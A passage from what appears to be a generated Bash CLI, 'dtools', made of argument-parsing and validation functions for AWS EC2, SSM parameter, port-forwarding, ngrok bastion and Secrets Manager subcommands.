ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi if [[ ${args['--sso-region']:-} ]] && [[ ! ${args['--sso-region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--sso-region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi } dtools_aws_ec2_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_ec2_usage exit ;; *) break ;; esac done missing_deps= if ! command -v aws >/dev/null 2>&1; then printf "missing dependency: aws\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 missing_deps=1 else deps['aws']="$(command -v aws | head -n1)" fi if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install using 'brew install jq'" >&2 missing_deps=1 else deps['jq']="$(command -v jq | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; list-instances) action="list-instances" shift dtools_aws_ec2_list_instances_parse_requirements "$@" shift $# ;; "") dtools_aws_ec2_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_aws_ec2_list_instances_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_ec2_list_instances_usage exit ;; *) break ;; esac done action="aws ec2 list-instances" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --detailed) if [[ -n "${args['--filter']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--filter" >&2 exit 1 fi args['--detailed']=1 shift ;; --filter | -f) if [[ -n "${args['--detailed']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--detailed" >&2 exit 1 fi if [[ -n ${2+x} ]]; then escaped="$(printf '%q' "$2")" if [[ -z ${args['--filter']+x} ]]; then args['--filter']="$escaped" elif [[ -z "${unique_lookup["--filter:${escaped}"]:-}" ]]; then args['--filter']="${args['--filter']} $escaped" fi unique_lookup["--filter:${escaped}"]=1 shift shift else printf "%s\n" "--filter requires an argument: --filter, -f FILTER" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi input_array='' eval "input_array=(${args[--filter]})" for i in "${input_array[@]}"; do if [[ ! $i =~ ^(instance-id|instance-type|private-dns-name|private-ip-address|public-dns-name|subnet-id|vpc-id|tags|launch-time|availability-zone|state|architecture|instance-profile|security-groups|os)$ ]]; then printf "%s\n" "--filter must be one of: instance-id, instance-type, private-dns-name, private-ip-address, public-dns-name, subnet-id, vpc-id, tags, launch-time, availability-zone, state, architecture, instance-profile, security-groups, os" >&2 exit 1 fi done filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_ssm_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_ssm_usage exit ;; *) break ;; esac done missing_deps= if ! command -v aws >/dev/null 2>&1; then printf "missing dependency: aws\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 missing_deps=1 else deps['aws']="$(command -v aws | head -n1)" fi if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install using 'brew install jq'" >&2 missing_deps=1 else deps['jq']="$(command -v jq | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; start-port-forwarding) action="start-port-forwarding" shift dtools_aws_ssm_start_port_forwarding_parse_requirements "$@" shift $# ;; start-ngrok-bastion-instance) action="start-ngrok-bastion-instance" shift dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements "$@" shift $# ;; list-parameters) action="list-parameters" shift dtools_aws_ssm_list_parameters_parse_requirements "$@" shift $# ;; get-parameter) action="get-parameter" shift dtools_aws_ssm_get_parameter_parse_requirements "$@" shift $# ;; create-parameter) action="create-parameter" shift dtools_aws_ssm_create_parameter_parse_requirements "$@" shift $# ;; update-parameter) action="update-parameter" shift dtools_aws_ssm_update_parameter_parse_requirements "$@" shift $# ;; delete-parameter) action="delete-parameter" shift dtools_aws_ssm_delete_parameter_parse_requirements "$@" shift $# ;; "") dtools_aws_ssm_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_aws_ssm_start_port_forwarding_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_ssm_start_port_forwarding_usage exit ;; *) break ;; esac done action="aws ssm start-port-forwarding" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --remote-port) if [[ -n ${2+x} ]]; then args['--remote-port']="$2" shift shift else printf "%s\n" "--remote-port requires an argument: --remote-port REMOTE-PORT" >&2 exit 1 fi ;; --local-port) if [[ -n ${2+x} ]]; then args['--local-port']="$2" shift shift else printf "%s\n" "--local-port requires an argument: --local-port LOCAL-PORT" >&2 exit 1 fi ;; --host) if [[ -n ${2+x} ]]; then args['--host']="$2" shift shift else printf "%s\n" "--host requires an argument: --host HOST" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['instance-id']+x} ]]; then args['instance-id']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['instance-id']+x} ]]; then printf "missing required argument: INSTANCE-ID\nusage: dtools aws ssm start-port-forwarding INSTANCE-ID [OPTIONS]\n" >&2 exit 1 fi [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" [[ -n ${args['--remote-port']:-} ]] || args['--remote-port']="80" [[ -n ${args['--local-port']:-} ]] || args['--local-port']="0" [[ -n ${args['--host']:-} ]] || args['--host']="localhost" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ -v args['--remote-port'] ]]; then validation_output="$(validate_aws_ssm_port_forwarding_number "${args['--remote-port']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--remote-port REMOTE-PORT" "$validation_output" >&2 exit 1 fi fi if [[ -v args['--local-port'] ]]; then validation_output="$(validate_aws_ssm_port_forwarding_number "${args['--local-port']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--local-port LOCAL-PORT" "$validation_output" >&2 exit 1 fi fi if [[ -v args['--host'] ]]; then validation_output="$(validate_aws_ssm_port_forwarding_host "${args['--host']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--host HOST" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_ssm_start_ngrok_bastion_instance_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_ssm_start_ngrok_bastion_instance_usage exit ;; *) break ;; esac done missing_deps= if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install with 'brew install jq'" >&2 missing_deps=1 else deps['jq']="$(command -v jq | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="aws ssm start-ngrok-bastion-instance" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --hostname) args['--hostname']=1 shift ;; --subnet-id) args['--subnet-id']=1 shift ;; --port) if [[ -n ${2+x} ]]; then args['--port']="$2" shift shift else printf "%s\n" "--port requires an argument: --port PORT" >&2 exit 1 fi ;; --ngrok-url | -u) if [[ -n ${2+x} ]]; then args['--ngrok-url']="$2" shift shift else printf "%s\n" "--ngrok-url requires an argument: --ngrok-url, -u NGROK_URL" >&2 exit 1 fi ;; --ngrok-auth-token | -a) if [[ -n ${2+x} ]]; then args['--ngrok-auth-token']="$2" shift shift else printf "%s\n" "--ngrok-auth-token requires an argument: --ngrok-auth-token, -a NGROK_AUTH_TOKEN" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--hostname']+x} ]]; then printf "missing required flag: --hostname\n" >&2 exit 1 fi if [[ -z ${args['--subnet-id']+x} ]]; then printf "missing required flag: --subnet-id\n" >&2 exit 1 fi if [[ -z ${args['--ngrok-url']+x} ]]; then printf "missing required flag: --ngrok-url, -u NGROK_URL\n" >&2 exit 1 fi if [[ -z ${args['--ngrok-auth-token']+x} ]]; then printf "missing required flag: --ngrok-auth-token, -a NGROK_AUTH_TOKEN\n" >&2 exit 1 fi [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" [[ -n ${args['--port']:-} ]] || args['--port']="8080" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_ssm_list_parameters_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_ssm_list_parameters_usage exit ;; *) break ;; esac done action="aws ssm list-parameters" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --detailed) args['--detailed']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_ssm_get_parameter_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_ssm_get_parameter_usage exit ;; *) break ;; esac done action="aws ssm get-parameter" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --detailed) args['--detailed']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['parameter_name']+x} ]]; then args['parameter_name']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['parameter_name']+x} ]]; then printf "missing required argument: PARAMETER_NAME\nusage: dtools aws ssm get-parameter PARAMETER_NAME [OPTIONS]\n" >&2 exit 1 fi [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_ssm_create_parameter_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_ssm_create_parameter_usage exit ;; *) break ;; esac done action="aws ssm create-parameter" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --name) if [[ -n ${2+x} ]]; then args['--name']="$2" shift shift else printf "%s\n" "--name requires an argument: --name NAME" >&2 exit 1 fi ;; --value) if [[ -n ${2+x} ]]; then args['--value']="$2" shift shift else printf "%s\n" "--value requires an argument: --value VALUE" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--name']+x} ]]; then printf "missing required flag: --name NAME\n" >&2 exit 1 fi if [[ -z ${args['--value']+x} ]]; then printf "missing required flag: --value VALUE\n" >&2 exit 1 fi [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_ssm_update_parameter_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_ssm_update_parameter_usage exit ;; *) break ;; esac done action="aws ssm update-parameter" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --name) if [[ -n ${2+x} ]]; then args['--name']="$2" shift shift else printf "%s\n" "--name requires an argument: --name NAME" >&2 exit 1 fi ;; --value) if [[ -n ${2+x} ]]; then args['--value']="$2" shift shift else printf "%s\n" "--value requires an argument: --value VALUE" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--name']+x} ]]; then printf "missing required flag: --name NAME\n" >&2 exit 1 fi if [[ -z ${args['--value']+x} ]]; then printf "missing required flag: --value VALUE\n" >&2 exit 1 fi [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_ssm_delete_parameter_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_ssm_delete_parameter_usage exit ;; *) break ;; esac done action="aws ssm delete-parameter" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['parameter_name']+x} ]]; then args['parameter_name']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['parameter_name']+x} ]]; then printf "missing required argument: PARAMETER_NAME\nusage: dtools aws ssm delete-parameter PARAMETER_NAME [OPTIONS]\n" >&2 exit 1 fi [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 exit 1 fi filter_error=$(filter_profile_and_region_variables_set_with_flags) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_aws_secretsmanager_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_secretsmanager_usage exit ;; *) break ;; esac done missing_deps= if ! command -v aws >/dev/null 2>&1; then printf "missing dependency: aws\n" >&2 printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 missing_deps=1 else deps['aws']="$(command -v aws | head -n1)" fi if ! command -v jq >/dev/null 2>&1; then printf "missing dependency: jq\n" >&2 printf "%s\n\n" "Install using 'brew install jq'" >&2 missing_deps=1 else deps['jq']="$(command -v jq | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action=${1:-} case $action in -*) ;; list-secrets) action="list-secrets" shift dtools_aws_secretsmanager_list_secrets_parse_requirements "$@" shift $# ;; show-secret) action="show-secret" shift dtools_aws_secretsmanager_show_secret_parse_requirements "$@" shift $# ;; create-secret) action="create-secret" shift dtools_aws_secretsmanager_create_secret_parse_requirements "$@" shift $# ;; "") dtools_aws_secretsmanager_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_aws_secretsmanager_list_secrets_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_aws_secretsmanager_list_secrets_usage exit ;; *) break ;; esac done action="aws secretsmanager list-secrets" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --profile | -p) if [[ -n ${2+x} ]]; then args['--profile']="$2" shift shift else printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 exit 1 fi ;; --region | -r) if [[ -n ${2+x} ]]; then args['--region']="$2" shift shift else printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 exit 1 fi ;; --detailed) args['--detailed']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" if [[ -v args['--profile'] ]]; then validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, 